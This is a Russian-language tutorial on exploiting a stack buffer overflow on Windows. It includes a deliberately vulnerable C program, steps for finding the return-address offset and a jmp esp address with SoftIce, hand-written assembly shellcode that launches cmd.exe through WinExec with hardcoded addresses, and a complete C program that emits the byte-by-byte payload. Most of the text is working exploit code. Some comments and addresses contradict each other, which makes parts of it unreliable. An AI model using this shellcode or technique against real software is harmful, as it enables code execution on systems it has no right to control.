Автор: buLLet
1. Header
В прошлой статье я выложил информацию общего плана, которая необходима для тех,
кто услышал о эксплоитах впервые, а тем более никогда не вникал в основную идею.
Теперь приступлю к изложению непосредственно практики, которая на самом
деле и является воплощением предыдущей статьи.
Сразу хочу предупредить, что данный шелл не совершенен и максимально упрощен,
к примеру вместо получения адреса необходимых функций с помощью пары
LoadLibrary/GetProcAddress используются прямые ссылки, что локализирует
действие данного шелла на те системы, на которых адреса, зашитые в шелл
совпадут с реальными адресами функций в DLL. Очевидно от чего это зависит -
если Windows загрузит DLL по другой базе, то шелл вылетит с сообщением...
...где 0х77е8898b адрес jmp esp в kernel32.dll в моей системе.
Поэтому в данном шелле подбор адресов должен производится чисто индивидуально
для каждой системы. Далее я опишу как определять эти адреса. Зачем так стараться?
ИМХО: это улучшит навыки любого кто самостоятельно найдет нужный адрес своим
девайсом(то есть ручками). А вообще нужно действовать несколько иначе: для особо
продвинутых подскажу идеи:
а) Использовать ссылки из таблицы импорта
б) Использовать LoadLibrary/GetProcAddress
Но эта тема будет обсуждаться в других статьях.
Начнем...
2. Sections
Пишем собственную прогу вида
"owerflow.c"
#include <stdio.h>
#include <string.h>
int test(char *big)
{
char buffer[100]; // переполняемый буфер
strcpy(buffer,big);// собственно само переполнение
return 0;
}
int main ()
{
char big[512];
gets(big); // получение текствой строки-сюда-то мы и передаем наш шелл
test(big); // вызов уязвимой функции
return 0;
}
В этом коде нет ничего сверхъестественного, а потому идем далее. Как определить,
что переполняется, где переполняется и чего куда передавать?
Элементарно! Берем, запускаем нашу программу owerflow.exe(для танкистов -
owerflow.exe получается путем компиляции owerflow.c ) и передаем ей строку
вида:
Аааааа.........ааааааааа - где-то примерно символов 110 для уверенности. И что мы видим?
Доигрались - скажете вы. А на самом-то деле все отлично прошло, вы взорвали
буфер и как результат(об этом я и упоминал в первой части), перезаписали адрес
возврата из функции кодом 0х61(тоесть символом 'a'). А теперь я вас хочу спросить:
кто мешает вам вместо бессмысленных строк символов передать строку опкодов,
которая получила гордое название шелл-кода? Никто! При внимательном
рассмотрении сложившейся ситуации под четким оком SoftIce, легко понять что
произошло: благодаря специфике стека наша строка затерла собой как сохраненное
значение ebp, так и адрес возврата. Обратите внимание, что адрес возврата
затирается 104,105,106,107 символами нашей строки(это видно тогда, когда вместо
ааа..аааа передется последовательность символов с ASCII кодами начиная с 32 по 256),
поэтому необходимо сформировать строку так, чтобы 104-107 байты содержали адрес, по
которому нужно передать управление. Теперь выясним это самый адрес, но сперва замечу,
что байты с 100 по 103 перекрывают сохраненное значение EBP - это нам тоже пригодится
для формирования стэка, но об этом позже. Посмотрев в SoftIce содержимое регистра esp
в момент переполнения, легко установить, что там содержится адрес байта нашей строки,
следующего за последним из четырех байтов, перекрывающих
EIP.
Отлично! Осталось заполнить строку, начиная со 108-позиции, опкодами и передать
управление по адресу в esp. Для этого снова переполним программу при запущенном Sice
и когда он всплывет введем команду:
:S 10000000 l ffffffff FF e4
где 10000000-ffffffff-диапазон поиска, а FF e4-опкод инструкции jmp esp
получим:
;Pattern found at xxxxxxxx <- этот адрес может отличаться(у меня он равен 77e98601,
что соответствует ntdll.dll).
Мы определили адрес jmp esp-теперь мы передадим этот адрес в позиции 104-107 и получим,
что при переполнении в eip будет помещен адрес инструкции jmp esp из ntdll.dll, которая
и перебросит нас на 108-позицию нашей строки. Осталось эту самую строку наполнить
опкодами. В качестве шелла обычно используют код, реализующий загрузку консоли(для
виндов это аналогично окну Command Prompt). Для этого составим программу на C:
"winexec.c"
#include <windows.h>
typedef (*PFUNK)(char*,DWORD);
int main ()
{
HMODULE hDll=LoadLibrary("kernel32.dll");
PFUNK pFunc=(PFUNK) GetProcAddress(hDll,"WinExec");
(*pFunc)("cmd.exe //K start cmd.exe",SW_SHOW);
}
WinExec исполняет программу, требует 2 параметра и располагается в kernel32.dll.
Все это работает потому, что kernel32.dll использует любая программа и потому, что адрес не
содержит нулевых байтов, наличие которых недопустимо. В переменной pFunc получим адрес
WinExec, у каждого он будет свой. Теперь нам нужно сформировать асм-код, вызывающий WinExec.
Вот он:
__asm {
mov esp,ebp ;формируем пролог
push ebp
mov ebp,esp
mov esi,esp
xor edi,edi;формируем завершающие нули
push edi
sub esp,18h//освобождаем в стэке место под строку
//стэк должен всегда быть выровнян на границу кратную 4
//для обеспечения гранулярности
mov byte ptr [ebp-1ch],63h //'c'//пулим в стэк строку
mov byte ptr [ebp-1bh],6Dh //'m'
mov byte ptr [ebp-1ah],64h //'d'
mov byte ptr [ebp-19h],2Eh //'.'
mov byte ptr [ebp-18h],65h //'e'
mov byte ptr [ebp-17h],78h //'x'
mov byte ptr [ebp-16h],65h //'e'
mov byte ptr [ebp-15h],20h //' '
mov byte ptr [ebp-14h],2fh //'/'
mov byte ptr [ebp-13h],4bh //'K'
mov byte ptr [ebp-12h],20h //' '
mov byte ptr [ebp-11h],73h //'s'
mov byte ptr [ebp-10h],74h //'t'
mov byte ptr [ebp-0fh],61h //'a'
mov byte ptr [ebp-0eh],72h //'r'
mov byte ptr [ebp-0dh],74h //'t'
mov byte ptr [ebp-0ch],20h //' '
mov byte ptr [ebp-0bh],63h //'c'
mov byte ptr [ebp-0ah],6dh //'m'
mov byte ptr [ebp-09h],64h //'d'
mov byte ptr [ebp-08h],2Eh //'.'
mov byte ptr [ebp-07h],65h //'e'
mov byte ptr [ebp-06h],78h //'x'
mov byte ptr [ebp-05h],65h //'e'
//поместить в eax адрес winexec полученный из pFunc
mov eax, 0x77e98601
//поместить в стэк адрес winexec
push eax
//передаем параметр SW_SHOW
push 05
//передаем адрес строки
lea eax,[ebp-1ch]
push eax
//ExitProcess в eax
mov eax,0x77e9b0bb
push eax //устанавливаем адрес возврата
mov eax, 0x77e98601
//перейти на точку входа winexec
jmp eax }
Этот код проверялся в Visual C++6.0 и все работает отлично. Ну теперь осталось
сформировать строку из опкодов. А где их взять? Да в том же Visual C++ Debugger. Просто
при трассировке из контекстного меню выберите опцию Code Bytes при включенном
Disassembly mode и вы получите необходимые опкоды. Осталось только собрать все воедино:
"overflower.c"
#include <stdio.h>
int main()
{
int i;
char buf[256];
//ЗАПОЛНЯЕМ БУФЕР NOP
for (i=0;i<100;i++)
buf[i]=0x90;
// Перекрыть ebp адресом начала нашего строкового буфера,
// чтобы потом использовать его под стек, адрес передается
// через xor чтобы затереть нули. Затем инструкцией
// xor ebp,0xffffffff восстанавливаем первоначальный адрес
buf[100]=0x3f;
buf[101]=0x01;
buf[102]=0xed;
buf[103]=0xff;
//поместить адрес инструкции jmp esp
//расположенной в ntdll.dll по адресу 77f8948B
//в те 4 байта которые перекрывают eip
buf[104]=0x8b;
buf[105]=0x94;//89;
buf[106]=0xf8;//e8;
buf[107]=0x77;
buf[108]=0x90;
//xor ebp,0xffffffff <-формируем министек для последующего вызова winexec
buf[109]=0x83;
buf[110]=0xf5;
buf[111]=0xff;
//****************
//mov esp,ebp
buf[112]=0x8b;
buf[113]=0xe5;
//******************
//push ebp
buf[114]=0x55;
//mov ebp,esp
buf[115]=0x8b;
buf[116]=0xec;
//xor edi,edi
buf[117]=0x33;
buf[118]=0xff;
//push edi
buf[119]=0x57;
//sub esp,18h
buf[120]=0x83;
buf[121]=0xec;
buf[122]=0x18;
//**********************************
//создание строки на стеке *
//mov byte ptr [ebp-19h],63h 'c'
buf[123]=0xc6;
buf[124]=0x45;
buf[125]=0xe4;
buf[126]=0x63;
//mov byte ptr [ebp-18h],6dh 'm'
buf[127]=0xc6;
buf[128]=0x45;
buf[129]=0xe5;
buf[130]=0x6d;
//mov byte ptr [ebp-17h],64h 'd'
buf[131]=0xc6;
buf[132]=0x45;
buf[133]=0xe6;
buf[134]=0x64;
//mov byte ptr [ebp-16h],2eh '.'
buf[135]=0xc6;
buf[136]=0x45;
buf[137]=0xe7;
buf[138]=0x2e;
//mov byte ptr [ebp-15h],65h 'e'
buf[139]=0xc6;
buf[140]=0x45;
buf[141]=0xe8;
buf[142]=0x65;
//mov byte ptr [ebp-14h],78h 'x'
buf[143]=0xc6;
buf[144]=0x45;
buf[145]=0xe9;
buf[146]=0x78;
//mov byte ptr [ebp-13h],65h 'e'
buf[147]=0xc6;
buf[148]=0x45;
buf[149]=0xea;
buf[150]=0x65;
//mov byte ptr [ebp-12h],20h ' '
buf[151]=0xc6;
buf[152]=0x45;
buf[153]=0xeb;
buf[154]=0x20;
//mov byte ptr [ebp-11h],2fh '/'
buf[155]=0xc6;
buf[156]=0x45;
buf[157]=0xec;
buf[158]=0x2f;
//mov byte ptr [ebp-10h],4bh 'K'
buf[159]=0xc6;
buf[160]=0x45;
buf[161]=0xed;
buf[162]=0x4b;
//mov byte ptr [ebp-0fh],20h ' '
buf[163]=0xc6;
buf[164]=0x45;
buf[165]=0xee;
buf[166]=0x20;
//mov byte ptr [ebp-0eh],73h 's'
buf[167]=0xc6;
buf[168]=0x45;
buf[169]=0xef;
buf[170]=0x73;
//mov byte ptr [ebp-0dh],74h 't'
buf[171]=0xc6;
buf[172]=0x45;
buf[173]=0xf0;
buf[174]=0x74;
//mov byte ptr [ebp-0ch],61h 'a'
buf[175]=0xc6;
buf[176]=0x45;
buf[177]=0xf1;
buf[178]=0x61;
//mov byte ptr [ebp-0bh],72h 'r'
buf[179]=0xc6;
buf[180]=0x45;
buf[181]=0xf2;
buf[182]=0x72;
//mov byte ptr [ebp-0ah],74h 't'
buf[183]=0xc6;
buf[184]=0x45;
buf[185]=0xf3;
buf[186]=0x74;
//mov byte ptr [ebp-9],20h ' '
buf[187]=0xc6;
buf[188]=0x45;
buf[189]=0xf4;
buf[190]=0x20;
//mov byte ptr [ebp-8],63h 'c'
buf[191]=0xc6;
buf[192]=0x45;
buf[193]=0xf5;
buf[194]=0x63;
//mov byte ptr [ebp-7],6dh 'm'
buf[195]=0xc6;
buf[196]=0x45;
buf[197]=0xf6;
buf[198]=0x6d;
//mov byte ptr [ebp-6],64h 'd'
buf[199]=0xc6;
buf[200]=0x45;
buf[201]=0xf7;
buf[202]=0x64;
//mov byte ptr [ebp-5],2eh '.'
buf[203]=0xc6;
buf[204]=0x45;
buf[205]=0xf8;
buf[206]=0x2e;
//mov byte ptr [ebp-4],65h 'e'
buf[207]=0xc6;
buf[208]=0x45;
buf[209]=0xf9;
buf[210]=0x65;
//mov byte ptr [ebp-3],78h 'x'
buf[211]=0xc6;
buf[212]=0x45;
buf[213]=0xfa;
buf[214]=0x78;
//mov byte ptr [ebp-2],65h 'e'
buf[215]=0xc6;
buf[216]=0x45;
buf[217]=0xfb;
buf[218]=0x65;
//*************************************
//mov eax,77 e9 86 01h <-Winexec address
buf[219]=0xb8;
buf[220]=0x01;
buf[221]=0x86;
buf[222]=0xe9;
buf[223]=0x77;
//push eax
buf[224]=0x50;
//push 05 <-SW_SHOW_NORMAL
buf[225]=0x6a;
buf[226]=0x05;
//lea eax,[ebp-1ch] <-адрес строки
buf[227]=0x8d;
buf[228]=0x45;
buf[229]=0xe4;
//push eax
buf[230]=0x50;
//эмулируем call dword ptr [ebp-0ch]
//для этого формируем адрес возврата и пушим его
//а затем просто джампим на eax в котором адрес аналог.[ebp-0ch]
//таким образом прыгаем на winexec, которая возвращает
//управление на ExitProcess
//mov eax,0x77e8f32d <-ExitProcess
buf[231]=0xb8;
buf[232]=0x2d;
buf[233]=0xf3;
buf[234]=0xe8;
buf[235]=0x77;
//push eax <-сделать адресом возврата адрес переданный в eax
buf[236]=0x50;
//mov eax,0x77e8f32d <-WinExec address
buf[237]=0xb8;
buf[238]=0x01;
buf[239]=0x86;
buf[240]=0xe9;
buf[241]=0x77;
//jmp eax <-выполнить WinExec
buf[242]=0xff;
buf[243]=0xe0;
//ПЕРЕДАТЬ СТРОКУ В ПЕРЕПОЛНЯЕМЫЙ БУФЕР
for(i=0;i<256;i++)
{
printf("%c",buf[i]);
}
}
Ну вот вроде и все. Единственное: добавлю про ebp - этот регистр играет важную роль в
нашем нелегком деле. Нужно где-то формировать стэк, но где? А почему не использовать
под стэк наш буфер, заполненный NOP? Так и забилдим, под SoftIce посмотрим содержимое ESP
и отнимем от него 64h либо зададим искать строку 0х9090909090 - кто как желает,
главное найти адрес начала буфера. Затем этот адрес поместим в EBP (помните в начале
я акцентировал внимание на том, что байты с 100 по 103 перекрывают ebp - ну так и
поместим найденный адрес в эти байты предварительно удалив из него нули). А как? Да
очень просто - сделать Исключающее ИЛИ в терминах булевой алгебры, либо по-простому XOR.
Тоесть иксорим начальный адрес, передаем в ebp, а затем в шелле снова делаем
XOR EBP,0xFFFFFFFF и все! Теперь у нас есть стек.
Недостатками данного шелла являются прямые ссылки на функции, возможно я поправлю эти
фичи и запортирую новый шелл, гораздо более универсальный.
Литература по C & C++
|